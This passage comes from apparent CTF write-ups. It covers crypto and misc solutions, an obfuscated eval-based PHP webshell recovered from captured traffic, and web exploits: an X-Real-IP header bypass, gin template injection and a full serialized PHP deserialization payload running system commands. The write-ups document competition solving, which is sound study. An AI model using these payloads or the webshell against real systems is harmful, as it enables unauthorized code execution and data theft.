b\u0026#39;L1near_E\u0026#39; In [36]: left = (d[3] - d[2]) % n In [37]: left = (d[3] - d[2]) % n - (d[2] - d[1]) * a % n In [38]: left Out[38]: 2594113358272023300 In [39]: left %= n In [40]: left Out[40]: 2594113358272023300 In [41]: right = d[1] - d[0] In [42]: left * invmod(right, n) Out[42]: 22730265397535795623381317872033942100 In [43]: b = left * invmod(right, n) % n In [44]: b Out[44]: 8175498372211240502 In [45]: n2s(b) Out[45]: b\u0026#39;qu4t1on6\u0026#39; In [46]: n2s(a) Out[46]: b\u0026#39;L1near_E\u0026#39; In [47]: n2s(b) Out[47]: b\u0026#39;qu4t1on6\u0026#39; In [48]: c = d[2] - d[0] * b - d[1] * a In [49]: c %= n In [50]: n2s(c) Out[50]: b\u0026#39;_1s_34sy\u0026#39; no_can_no_bb key 最大是 1 \u0026lt;\u0026lt; 20，可以直接爆破\n如果解密后开头为 cazy 说明正确\nfrom Crypto.Util.number import long_to_bytes from Crypto.Cipher import AES def pad(m): tmp = 16-(len(m)%16) return m + bytes([tmp for _ in range(tmp)]) def encrypt(m,key): aes = AES.new(key,AES.MODE_ECB) return aes.encrypt(m) c = b\u0026#39;\\x9d\\x18K\\x84n\\xb8b|\\x18\\xad4\\xc6\\xfc\\xec\\xfe\\x14\\x0b_T\\xe3\\x1b\\x03Q\\x96e\\x9e\\xb8MQ\\xd5\\xc3\\x1c\u0026#39; for i in range(1, (1 \u0026lt;\u0026lt; 20) + 1): key = pad(long_to_bytes(i)) aes = AES.new(key, AES.MODE_ECB) flag = aes.decrypt(c) if flag[:5] == b\u0026#39;cazy{\u0026#39;: print (flag) # b\u0026#39;cazy{n0_c4n,bb?n0p3!}\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\u0026#39; no_cry_no_can 福纳姆密码，密钥长度为 5，并且已知 flag 开头为 cazy{，所以直接解\nfrom libnum import * front = b\u0026#39;cazy{\u0026#39; cipher = b\u0026#39;\u0026lt;pH\\x86\\x1a\u0026amp;\u0026#34;m\\xce\\x12\\x00pm\\x97U1uA\\xcf\\x0c:NP\\xcf\\x18~l\u0026#39; key = bytes([f ^ c for f, c in zip(front, cipher)]) key *= 8 for c, k in zip(cipher, key): print (chr(c ^ k), end=\u0026#39;\u0026#39;) print() #cazy{y3_1s_a_h4nds0me_b0y!} math from math import gcd from gmpy2 import invert, is_prime from Crypto.Util.number import long_to_bytes as n2s invq = 0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3 e = 0x10005 d = 0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1 c = 0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386 kphi = e * d - 1 for k in range(1, e): if kphi % k == 0: phi = kphi // k x = invq * (phi - 1) + 1 g = pow(2, phi, x) - 1 for r in [3, 5]: g = gcd(g, pow(r, phi, x) - 1) if 1 \u0026lt; g \u0026lt; 10 * c: p = g break assert is_prime(p) m = pow(c, d, p) print(n2s(m)) #flag{c4617a206ba83d7f824dc44e5e67196a} no_math_no_cry 解方程就行\nsage:\n((x-(1\u0026lt;\u0026lt;500))**2+0x0338470-10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169).roots() 得到:\n[(6546781215792283740026379393655198304433284092086129578966582736192267592809173519135824526914006312711658519949412876200359056032790029580847075395203, 1), (175590630715657737802001590114848305707265818075457058980756525809979783549, 1)] 再long_to_bytes就行\nflag:\ncazy{1234567890_no_m4th_n0_cRy} Misc 八卦迷宫 直接走迷宫就行\nflag:\ncazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang} 朴实无华的取证 vol 内存取证 dump 出 我的日记.txt.txt，flag.zip 以及 flag.png 那个文件\n在 我的日记.txt.txt 找到压缩包密码 20211209\n得到 flag.zip 压缩包里的 encrypt.txt 内容\n//幼儿园水平的加密（部分） void Encrypt(string\u0026amp; str) { for(int i = 0; i \u0026lt; str.length(); i++) { if(str[i] \u0026gt;=\u0026#39;a\u0026#39;\u0026amp;\u0026amp; str[i]\u0026lt;=\u0026#39;w\u0026#39;) str[i]+=3; else if(str[i]==\u0026#39;x\u0026#39;) str[i]=\u0026#39;a\u0026#39;; else if(str[i]==\u0026#39;y\u0026#39;) str[i]=\u0026#39;b\u0026#39;; else if(str[i]==\u0026#39;z\u0026#39;) str[i]=\u0026#39;c\u0026#39;;\telse if(str[i]==\u0026#39;_\u0026#39;) str[i]=\u0026#39;|\u0026#39;; str[i] -= 32; } } 再通过 flag.png 的内容依照上面的 encrypt() 进行解密\nFDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF] \u0026gt;\u0026gt;\u0026gt; ss = \u0026#39;FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]\u0026#39; \u0026gt;\u0026gt;\u0026gt; flag = \u0026#39;\u0026#39; \u0026gt;\u0026gt;\u0026gt; for i in range(len(ss)): ... flag += chr(ord(ss[i])+32) ... \u0026gt;\u0026gt;\u0026gt; flag \u0026#39;fdcb{Xldq_zloo_fhuwdlqob_vxffhhg_lq_iljkwlqj_wkh_hslghplf}\u0026#39; \u0026gt;\u0026gt;\u0026gt; flag.replace(\u0026#39;a\u0026#39;,\u0026#39;x\u0026#39;).replace(\u0026#39;b\u0026#39;,\u0026#39;y\u0026#39;).replace(\u0026#39;c\u0026#39;,\u0026#39;z\u0026#39;) \u0026#39;fdzy{Xldq_zloo_fhuwdlqoy_vxffhhg_lq_iljkwlqj_wkh_hslghplf}\u0026#39; sss = \u0026#39;fdzy{Xldq_zloo_fhuwdlqoy_vxffhhg_lq_iljkwlqj_wkh_hslghplf}\u0026#39; for i in range(len(sss)): if(ord(sss[i]) \u0026gt;= 100 and ord(sss[i]) \u0026lt;= 122): print(\u0026#34;i:\u0026#34;,i,\u0026#34;data:\u0026#34;,chr(ord(sss[i])-3)) print(sss) i: 0 data: c i: 1 data: a i: 2 data: w i: 3 data: v i: 6 data: i i: 7 data: a i: 8 data: n i: 10 data: w i: 11 data: i i: 12 data: l i: 13 data: l i: 15 data: c i: 16 data: e i: 17 data: r i: 18 data: t i: 19 data: a i: 20 data: i i: 21 data: n i: 22 data: l i: 23 data: v i: 25 data: s i: 26 data: u i: 27 data: c i: 28 data: c i: 29 data: e i: 30 data: e i: 31 data: d i: 33 data: i i: 34 data: n i: 36 data: f i: 37 data: i i: 38 data: g i: 39 data: h i: 40 data: t i: 41 data: i i: 42 data: n i: 43 data: g i: 45 data: t i: 46 data: h i: 47 data: e i: 49 data: e i: 50 data: p i: 51 data: i i: 52 data: d i: 53 data: e i: 54 data: m i: 55 data: i i: 56 data: c aaa = \u0026#34;fdzy{Xldq_zloo_fhuwdlqoy_vxffhhg_lq_iljkwlqj_wkh_hslghplf}\u0026#34; \u0026gt;\u0026gt;\u0026gt; flag2 = \u0026#34;\u0026#34; \u0026gt;\u0026gt;\u0026gt; for i in range(len(aaa)): ... flag2 += chr(ord(aaa[i])-3) \u0026gt;\u0026gt;\u0026gt; flag2 \u0026#39;cawvxUian\\\\will\\\\certainlv\\\\succeed\\\\in\\\\fighting\\\\the\\\\epidemicz\u0026#39; #根据上面的对应然后将其进行整理可得 cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic} flag:\ncazy{Xian_will_certainly_succeed_in_fighting_the_epidemic} 无字天书 蚁剑流量\n流量后面发现 zip 文件的头部 hex 504B\n提取出来后发现是一个 zip\n解压后得到 key.ws 和 flag.txt\nkey.ws是whitesapce\nhttp://vii5ard.github.io/whitespace/\n得到密码 XiAnWillBeSafe\n再去用 snow 去利用这个密码解 flag.txt\nflag:\ncazy{C4n_y0u_underSt4nd_th3_b0oK_With0ut_Str1ng} 西安加油 流量 http 对象导出 secret.txt\n解 base64 发现是一个压缩包\n后面部分就是拼图\n还原结果\nbinary file命令 显示这是个class文件\n利用luyten反编译得到源码\n发现是一堆数据 ascii转chr\nMDAwMDAwMDEwMTExMDAwMDAwMDAxMTExMTEwMTExMDAwMDAwMFxuMDExMTExMDEwMTEwMTAxMDExMTExMDAwMTExMDExMDExMTExMFxuMDEwMDAxMDEwMDAwMTExMTAwMDExMTAxMDExMDExMDEwMDAxMFxuMDEwMDAxMDExMDAwMDAxMTAwMDExMTAwMDAwMTAxMDEwMDAxMFxuMDEwMDAxMDExMTAxMTAxMTAwMTEwMTEwMTAxMTExMDEwMDAxMFxuMDExMTExMDEwMTExMDEwMDAwMDAwMTAwMTAwMDAxMDExMTExMFxuMDAwMDAwMDEwMTAxMDEwMTAxMDEwMTAxMDEwMTAxMDAwMDAwMFxuMTExMTExMTEwMDEwMDAwMDAwMDEwMDExMDAxMTExMTExMTExMVxuMTEwMDAxMDEwMTAxMDAwMDEwMTExMTExMDEwMDAwMDAxMTAwMFxuMDEwMTEwMTAwMDExMDAxMDAxMDAwMDEwMDExMDEwMTAxMTEwMVxuMTAxMTAwMDAwMTAwMTExMTAwMTEwMDAxMTAxMDAwMDAxMDAxMFxuMTExMDExMTExMTExMDAxMDEwMTEwMTAwMDExMDEwMTAxMTEwMFxuMTAxMDExMDAwMTExMDAwMDAwMDExMDEwMDAwMDAwMDAwMDAxMFxuMDExMDEwMTAwMTAwMDEwMDAxMTAxMTEwMTAxMTEwMTExMTEwMVxuMDAxMDEwMDEwMDExMTExMTEwMTExMDAwMDExMDAxMDEwMDAxMFxuMDAxMDAwMTEwMTExMDExMDExMDAxMTAwMTEwMDExMDAxMTEwMVxuMTExMDEwMDExMDAwMTExMTExMTAxMTAxMDAxMTAwMDAwMDAxMFxuMDAwMDExMTAxMDEwMDAxMTEwMDAwMDEwMTEwMTExMTExMDExMVxuMTEwMTEwMDExMDEwMTEwMTAwMTEwMDAxMDEwMDExMDAwMDEwMFxuMDEwMTAwMTAwMTExMTAwMTAwMDAwMTAwMTExMDAxMDAxMDExMVxuMDEwMTAxMDAxMTAwMDExMTAwMDExMDAxMDAwMDAxMDEwMTAwMFxuMTAwMTEwMTExMTEwMTExMDExMDAxMDAxMTExMTEwMTAxMTEwMVxuMTEwMTEwMDAxMDExMTAwMDAwMDEwMTExMDExMDAwMTAxMTAxMFxuMDAxMTAwMTAwMDExMTEwMTEwMDAxMTExMDEwMDEwMDExMTEwMVxuMDEwMTAwMDAwMTExMDEwMTExMDExMDEwMTExMTExMDEwMDAxMFxuMDEwMTAxMTAxMTAwMTAwMTAwMDAwMDExMDEwMDAxMDAxMTExMVxuMDExMDEwMDAxMDAwMTExMDAxMDExMDAxMTAxMTExMTAwMTEwMFxuMDExMTAwMTExMTEwMDAwMDAxMDExMDExMDExMTAwMTExMTEwMFxuMDEwMDExMDAxMDExMDAxMDEwMDAxMDExMTAxMTAwMDAwMDAwMFxuMTExMTExMTEwMTAxMTAwMTExMDAxMTEwMDEwMTAxMTEwMTAxMVxuMDAwMDAwMDExMTAwMDExMTAxMTAxMDExMDAwMTAxMDEwMDEwMFxuMDExMTExMDExMTAwMTEwMTAxMDExMDEwMTEwMDAxMTEwMTExMVxuMDEwMDAxMDEwMDExMDAwMDExMDAxMTAxMDAwMDAwMDAwMDAxMFxuMDEwMDAxMDEwMTExMTEwMTEwMDAxMTExMTExMTExMDEwMDExMVxuMDEwMDAxMDEwMTEwMTExMTExMTEwMDAwMDAxMDEwMTAxMDExMFxuMDExMTExMDExMTExMTAwMDEwMTEwMTAwMTExMTAwMDExMDExMFxuMDAwMDAwMDExMTExMTAxMTExMDExMDAwMDAwMDEwMDAxMTAwMA== base64之后得到1369个01的组合 可被开方为37推测其应该是一个二维码\n画图:\nfrom PIL import Image MAX = 37 pic = Image.new(\u0026#34;RGB\u0026#34;,(MAX,MAX)) str = \u0026#34;0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000\u0026#34; i = 0 for y in range(0,MAX): for x in range(0,MAX): if(str[i] == \u0026#39;0\u0026#39;): pic.putpixel([x,y],(0,0,0)) else: pic.putpixel([x,y],(255,255,255)) i = i + 1 pic.show() pic.save(\u0026#39;flag.png\u0026#39;) 得到的二维码扫码得到flag\nflag:\nflag{932b2c0070e4897ea7df0190dbf36ece} Ez_Steg 压缩包注释告诉说是6个数字 爆破压缩包密码得到220101\n然后得到两个文件\nstegosaurus工具求解pyc隐写\n得到 TheKey:St3g1sV3ryFuNny\nemjoy猜测是 emjoy-aes\nhttps://aghorler.github.io/emoji-aes/\n解码得到flag\nflag:\ncazy{Em0j1s_AES_4nd_PyC_St3g_D0_yoU_l1ke} ez_Encrypt 蚁剑流量\n解一下一开始的base64发现是pop链\n但是都不重要 直接锁定最后的web123\nbase64解开以后是一个压缩包\n解压后在app\\controller\\index.php找到了混淆后的php代码\n\u0026lt;?php define(\u0026#39;IKlSux1227\u0026#39;,__FILE__);$DusPFr=base64_decode(\u0026#34;bjF6Yi9tYTVcdnQwaTI4LXB4dXF5KjZscmtkZzlfZWhjc3dvNCtmMzdqZHF0d3lpT2VBY1VaTHBDdUhuYm1ndkZzZlNhUFlsTUpCTmpSVmtLeFFEVFdJcnpFb1hHaA==\u0026#34;);$arCiCL=$DusPFr[3].$DusPFr[6].$DusPFr[33].$DusPFr[30];$VvUrBZ=$DusPFr[33].$DusPFr[10].$DusPFr[24].$DusPFr[10].$DusPFr[24];$DEomKk=$VvUrBZ[0].$DusPFr[18].$DusPFr[3].$VvUrBZ[0].$VvUrBZ[1].$DusPFr[24];$LnpnvY=$DusPFr[7].$DusPFr[13];$arCiCL.=$DusPFr[22].$DusPFr[36].$DusPFr[29].$DusPFr[26].$DusPFr[30].$DusPFr[32].$DusPFr[35].$DusPFr[26].$DusPFr[30];eval($arCiCL(\u0026#34;JFZDQlpRVz0iZ29NVFFoZXFpYVVPdWJtWWZSSlNya1dObmRFc1BaR2pBS3BDVnRCSUh3REZ4Y3pYTGx2eVlUY2lVdVBuZ3BzeXFib09saGpGSVpOU3d6bU1IR3ZEeHRrWFZhV2ZkQUpFclJLTENCUWVISjlBcGR4WUd2Vm9wTjVCdFh6WmhCdXVwWmZyY0RmM2plcmpGMnJpekxZcmNEZjN0aU1aR21qbmkwOWpITmp1UjJzMlNFOVpHTlNRR3ZzVGZvam5oREdHcGlCME5WaE5PMmhxc0x6dVZtWjBpRXVYU3ZoT2hEVkNwQmtLTzIxMHAxazZidkdwVjJ1bk9LU1p6WjVKenYxU1BvaHJPMXo0ekV6cWlEVkdjMUdVVnYxQXMxU3ZVWjVzRkVrVFZaVk1iVkVMR0VqRGJCZktWMHVBek5tQXpkekZoVmtrc05ycGIxek9wRWhwVktCdlZEV1podkVMc0JHaUdLMDlmZ1o3am1rM2JadTFWSzBaR21qbmkwOWpOS1N6Q2doWlVva0hpMEJiU0IwcWp2aFhwWjlIRlZNS2MxMHFqdmhYcFo5SEZWTUtjRTA3amRHaGl2emRGSzBaR21qbmkwOWpOS2NLTEY0Wkdtam5pMDlqTkttQUxGNFpHbWpuaTA5ak5LZjBMRjRaR21qbmkwOWpOS21BTEY0Wkdtam5pMDlqTktmMExpTVpOTkdNendHc0hGaDJzc3J3aDBhYmNFMHFqdmhYcFo5SEZWTXJ5RTBxanZoWHBaOUhGVk1LTEY0WnpCRWNHMHpDTktXekNnaDJzc3J3aDBhYmNWMHFqdmhYcFo5SEZWTWVTRTA3anYxRVVWRXZPSzBaR21qbmkwOWpOS3p6Q2doWlVva0hpMEJiY2lTenllaHR6MjVmelZScUhGaFpVb2tIaTBCYmNEanpDZ2haVW9rSGkwQmJjS0d6Q2doWlVva0hpMEJiY0RCekNnaFpVb2tIaTBCYmNER3pDZ2haVW9rSGkwQmJjS1d6Q2doWlVva0hpMEJiY0tqekNnaFpVb2tIaTBCYmNLVnpDZ2haVW9rSGkwQmJjREd6Q2doWlVva0hpMEJiY0tXenkyVjJPTkFUam1rM2JadTFWZVlnRlpWcGlWVHJSZGtOcERXa1ZFVjBSQlRlU0xoc2hOck1zTnJwcEJqT05vQlpoTmhFR05hVE9WR05HbWpaVjFUS1YwenZTVmphUEVWREZtNTVOWnpBaHZmZXBFalZjb3JpczJyTVNFVUtoWjlWaFZqSlZ2NU16VlRBekVXZ2hOdUZPS2pwczFaS05CekJidmhTVlpWeXBWQk5SSldwVk5yTk9EV05oMVZkYkVoZ1ZOVUtWRXVYUHZWZHNCQlpWb3JlczIxQVBORUVoWmpCcG9yTVZCVjRwdlZWaEJ1eWhKV2tpS2pOY0JCTHoyOXRQRFlJRndaMHAxU3FHZFZpRkVHT0YwU0ZjQlZWUHY1RmNkU1FGWkdNYk5qZk5Eak5VMnpJc29hNGJCenFpQnpjVTFqMHNCVnZzQmphaUxFU3BOYUtGWkdNYk5qZk5Eak5VMnpJc29hNGJCenFpQnpjVTFqMHNCVnZzQmphaUxTdGhLRXZzVkd2aDFCNXAzU3Rob3JhT1p1cGNCR0pHMmFGcDN1cVYyNXlWMHJtVUxTdGhLRXZzVkd2aDFCNXAzV0NzMk0zZmdaa3lLOCtISjlBcGR4WUd2Vm9wTjVCdFh6ZEdOU3RiczRyY0RmM2plcmpGMnJpekxZcmNEZjN0aU1aaEJrUVBtajBITmp1UjJzMlNFOVpHTlNRR3ZzVGZvam5oREdHcGlCME5WaE5PMmhxc0x6dVZtWjBpRXVYU3ZoT2hEVkNwQmtLTzIxMHAxazZidkdwVjJ1bk9LU1p6WjVKenYxU1BvaHJHc1ZaVnZtZVNMekRiRVQyT0tFRk52aGFWWmhWYm1HME9OMVROTkVPYkVFWmNOclVzS1dGekJFSWJtYU5WMEduc1ZzMXBWalZwZFNwRm1HdXNvNUZjVmhkTm81c3NpMDlmZ1o3anYxcVYydWlGSjBaaEJrUVBtajBOS1N6Q2dodk5vOTRVd2hiU0IwcWptR3BiM3VYekVNS2MxMHFqbUdwYjN1WHpFTUtjRTA3akVHR1YyUzRHSjBaaEJrUVBtajBOS2NLTEY0WmhCa1FQbWowTkttQUxGNFpoQmtRUG1qME5LZjBMRjRaaEJrUVBtajBOS21BTEY0WmhCa1FQbWowTktmMExpTVpPTkdWekJ6c0hGaE5OVnpEUHZoYmNFMHFqbUdwYjN1WHpFTXJ5RTBxam1HcGIzdVh6RU1LTEY0WlZCQkxPM3VaTktXekNnaE5OVnpEUHZoYmNWMHFqbUdwYjN1WHpFTWVTRTA3anZCWnoyclNzSzBaaEJrUVBtajBOS3p6Q2dodk5vOTRVd2hiY2lTenllaGFiQnpUczBZcUhGaHZObzk0VXdoYmNEanpDZ2h2Tm85NFV3aGJjS0d6Q2dodk5vOTRVd2hiY0RCekNnaHZObzk0VXdoYmNER3pDZ2h2Tm85NFV3aGJjS1d6Q2dodk5vOTRVd2hiY0tqekNnaHZObzk0VXdoYmNLVnpDZ2h2Tm85NFV3aGJjREd6Q2dodk5vOTRVd2hiY0tXenkyVjJPTkFUanYxcVYydWlGWFlnRlp6cHMxVnFzRGhHUERXa1ZOYTRpMmhJY2loQmJOdW5zWlZwc3ZoRUZCekZjc0d1czF1WnpWa2RjTEJnaEJqTnNpVzBob0VMR3YxQlZvcnJWaVN5UEVFTlVaYVpObWprczB6TnBFenZHZGpnYzFmMXMxek1SQlpyaW81R1ZzRzRPREVGT1ZWRUd2ckZWTGhKVm1zcnMyU2RTVmpOY0JrS3NaR01oRWhJTndrWmNEbTJWMEdwY0JTZFJ2Qk5ORU8wczI1dHN2RWRzRGpoVnZySnMyNU5WMmp2VkJTRFZCanZPMmFNVTJjQXlza2dwM2hmTzFWdHB2U0xpRFNOVm1acmlzenZzMDlPUkVHRmNzamRPRFd0cDJqRWNMQmlWS1Zjc0RTdlUxQk9ob2twYlo1NXMxUjFibTFuYmRFc05FR2pPVkdORkVaZVNOdVpjM1dLTm9ydEZvVnFpd0JpVlo1Y3NaUjFSVmpWR0VFeWhMaGZWc2hGaUJmclV3RUZORUdlc2lqTnMyU05pWkdOY3ZyQVZCVjRjRWpNVkxCR2MzV3ZPMmEwUjJWRUZvYWhjZGhhVm9heXB2aE5VQmtOVk5oMUdKVzBGRWpzaEJHVnAyYTNzMk00U05FSXptdWdiTFd2c0RFV2N2amRObzlnaExoYVZvYXlpdmhPUmRTaWNCa0xzaVcwYlZHSWlacnBiZFdrc0JHTWhFVEFWQldTVnNreUdFelRwMVNmaGlWWk5FamhHbUdORnMwclJkV0dWMWt5VkV6NHp2am5HdjFMVkJrbXNLanBWMW1BenYxTnAwNWNOb3JwaEVjS1ZCRXVic1Y1VnNWcEYxVUtoREdpYlpra09vMTRGRVNkR3Z1U2J2UzVzMXVFU05FRVZCV2lWMnJ2c0RFWnAxU2ZoaVZaTkVqaEdtR05GczByUmRXR1Yxa3lWRXo0enZFbUd2MUxWQmttc0tqcFYxbUF6djFOcDA1SE5CekZoRWNlTkJ6aGNkaGFWb2F5aXZoVnBkVnNORUdoc29yTk5CR01iRUVTYm1mMk8za2pTVkdFemR1WmgycmNzWlZNT1ZVZVNOcnBjZGg0TkRqdEZzMXFod0VpY0VqdE9WR05zRU9BaUJqU3BCanFzS1NaU29qRXp2MU5wMDVjR0VoWFIxa01iRXpoY2RoYVYyYXRpQlVBcEpHaXBLQmVzaVdOaVZWZFJka1NjMWprVkJoamNFbWVWQmhaaEVUMFZEajBVMUdOaFprWmJFR3BzaWp0YlZ6Tk5aaGljQmt1aURqcE5CR0lpWnJwYkVrbXNLanBWMW1laEJTVmhtanlPMmFUUlZjZU5aNVpjMDU1Tk5rTlNtMU5SbXJOYzBzMVYwVkFzb2h2c3dqVmh2dW5OVmhFU1ZzZXptak5wMGtlc1ZHQWkyRTZGd3VWTnZ1NU9va05TdlNhU0pFQkZtazFpQnVUUE5qbmJtQlZjM1dLc0tqcFYxbUF6SkVTaDN1SE5Cemh5c0JuenZyWmJzR0tGMFNEQzFXa08zVnRoS0UxVkRqVFZFU0pHMmFOYnZyT05pU1RwMGFKc291cGJFT2VWREVoYjBrZE5CU1ZiQmYwTkxCM3AyRUxzRFNnaGlFc0Yya2pSbXJKc291cGJFT2VWREVoYjBrZE5CU1ZiQmYwTkxCM3AyRUxzRFNnaGlFc2ltU0ZSRWtmR2RTc1ZaMUFpbVNGcEVrTVZEak5jVkVRRlp6cHMxVnFzRGhHUEx6M2ltU0ZSRWtmR2RTc1ZaMUFGMVNJUm05M0hpMGd0Rlo3SEs0PSI7ZXZhbCgnPz4nLiRhckNpQ0woJFZ2VXJCWigkREVvbUtrKCRWQ0JaUVcsJExucG52WSoyKSwkREVvbUtrKCRWQ0JaUVcsJExucG52WSwkTG5wbnZZKSwkREVvbUtrKCRWQ0JaUVcsMCwkTG5wbnZZKSkpKTs=\u0026#34;));?\u0026gt; 硬解 eval变echo的 差不多解个6层\n最后可以getflag\nflag:\ncazy{PHP_ji4m1_1s_s00000_3aSyyyyyyyyyyy} ","date":"2022-01-13T13:23:41+08:00","image":"https://or4ngesec.github.io/post/cazy-writeup-by-or4nge/cover_hu2ef483a7301ed58558e75f3e1747bee2_206467_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/cazy-writeup-by-or4nge/","title":"长安战“疫” Writeup"},{"content":"Web loginme 第一步绕过本地验证，x-forwarded-for 和 client-ip 被过滤了，X-Real-IP:127.0.0.1 绕过\n第二步是 gin 的模板注入，让 id 为一个不存在的值，age 为 {{.Password}} 就可以获得 admin 结构体中的 Password 变量值了。\nhttp://124.71.166.197:18001/admin/index?id=5\u0026amp;age={{.Password}}\nUpload_it 可以任意上传 /tmp 目录下文件， 可以直接写进 session 文件。查看 phpinfo 发现 session 的处理器是 php，于是可以把 upload_path|$serialize 写进 /tmp/sess_or4nge，然后改自己的 session_id 为 or4nge，即可触发反序列化。\n利用给的 Composer.json：\n\u0026#34;symfony/string\u0026#34;: \u0026#34;^5.3\u0026#34;, \u0026#34;opis/closure\u0026#34;: \u0026#34;^3.6\u0026#34; 结合出题人发布的文章 https://www.anquanke.com/post/id/217929#h2-3 找到一条链，其中 lazystring 的任意无参数函数调用接的是闭包函数 __invoke，可以将闭包函数序列化进去。\n\u0026lt;?php namespace Symfony\\Component\\String{ require \u0026#34;path\\to\\autoload.php\u0026#34;; class LazyString{ private $value; public function __construct() { $func = function(){system(\u0026#34;cat /flag\u0026#34;);}; $d = new \\Opis\\Closure\\SerializableClosure($func); $this-\u0026gt;value = $d; } } class UnicodeString{ protected $string = \u0026#39;\u0026#39;; public function __construct() { $this-\u0026gt;string=new LazyString; } } } namespace { $exp=print(urlencode(serialize(new Symfony\\Component\\String\\UnicodeString()))); } 其实这条链本地没有打通，原因是因为在 UnicodeString.php 里，对 $this-\u0026gt;string 进行了限制\npublic function __wakeup() { if (!\\is_string($this-\u0026gt;string)) { throw new \\BadMethodCallException(\u0026#39;Cannot unserialize \u0026#39;.__CLASS__); } normalizer_is_normalized($this-\u0026gt;string) ?: $this-\u0026gt;string = normalizer_normalize($this-\u0026gt;string); } 但是猜到出题人以前发布过，直接盲打过去，RCE 成功。\nupload_path|O%3A38%3A%22Symfony%5CComponent%5CString%5CUnicodeString%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00string%22%3BO%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3A1%3A%7Bs%3A42%3A%22%00Symfony%5CComponent%5CString%5CLazyString%00value%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A196%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A32%3A%22function%28%29%7Bsystem%28%22cat+%2Fflag%22%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%2200000000034bf950000000005225a861%22%3B%7D%7D%7D%7D FUMO_on_the_Christmas_tree 强网杯 pop_master 魔改的题\n首先是对 __invoke 和 __call 的魔术方法的类进行改写，全部能改写为正常的形式：\nimport re from base64 import b64decode def erase_call(FILEIN, FILEOUT): fp = open(FILEIN, \u0026#39;rb\u0026#39;) fo = open(FILEOUT, \u0026#39;wb\u0026#39;) FILE = [_.decode().replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;) for _ in fp.readlines()] i = 0 while i \u0026lt; len(FILE): line = FILE[i] if \u0026#39;__call\u0026#39; in line: l1, l2 = FILE[i + 1], FILE[i + 2] use_func = re.search(r\u0026#39;extract\\(\\[\\$name =\u0026gt; \\\u0026#39;(.*)\\\u0026#39;\\]\\);\u0026#39;, l1)[1] pattern = re.search(r\u0026#39;if \\(is\\_callable\\(\\[\\$this\\-\\\u0026gt;(.*)\\, \\$(.*)\\]\\)\\)\u0026#39;, l2) obj_name, func_name = pattern[1], pattern[2] new_code = [] new_code.append(\u0026#39; public function %s($value) {\\n\u0026#39; % func_name) new_code.append(\u0026#39; if (is_callable([$this-\u0026gt;%s, %s])) @$this-\u0026gt;%s-\u0026gt;%s($value);\\n\u0026#39; % (obj_name, use_func, obj_name, use_func)) new_code.append(\u0026#39; }\\n\u0026#39;) for j in new_code: fo.write(j.encode()) i += 4 else: fo.write((line + \u0026#39;\\n\u0026#39;).encode()) i += 1 fp.close() fo.close() def erase_invoke(FILEIN, FILEOUT): fp = open(FILEIN, \u0026#39;rb\u0026#39;) fo = open(FILEOUT, \u0026#39;wb\u0026#39;) FILE = [_.decode().replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;) for _ in fp.readlines()] i = 0 while i \u0026lt; len(FILE): line = FILE[i] if \u0026#39;@call_user_func\u0026#39; in line: pattern = re.search(r\u0026#39;call_user_func\\(\\$this\\-\\\u0026gt;(.*)\\, \\[\\\u0026#39;(.*)\\\u0026#39; \\=\\\u0026gt; \\$(.*)\\]\\);\u0026#39;, line) # print(pattern) obj_name, use_func, func_para = pattern[1], pattern[2], pattern[3] # print(obj_name, use_func, func_para) new_code = \u0026#34; if (is_callable([$this-\u0026gt;%s, \u0026#39;%s\u0026#39;])) @$this-\u0026gt;%s-\u0026gt;%s(%s);\\n\u0026#34; % (obj_name, use_func, obj_name, use_func, func_para) fo.write(new_code.encode()) elif 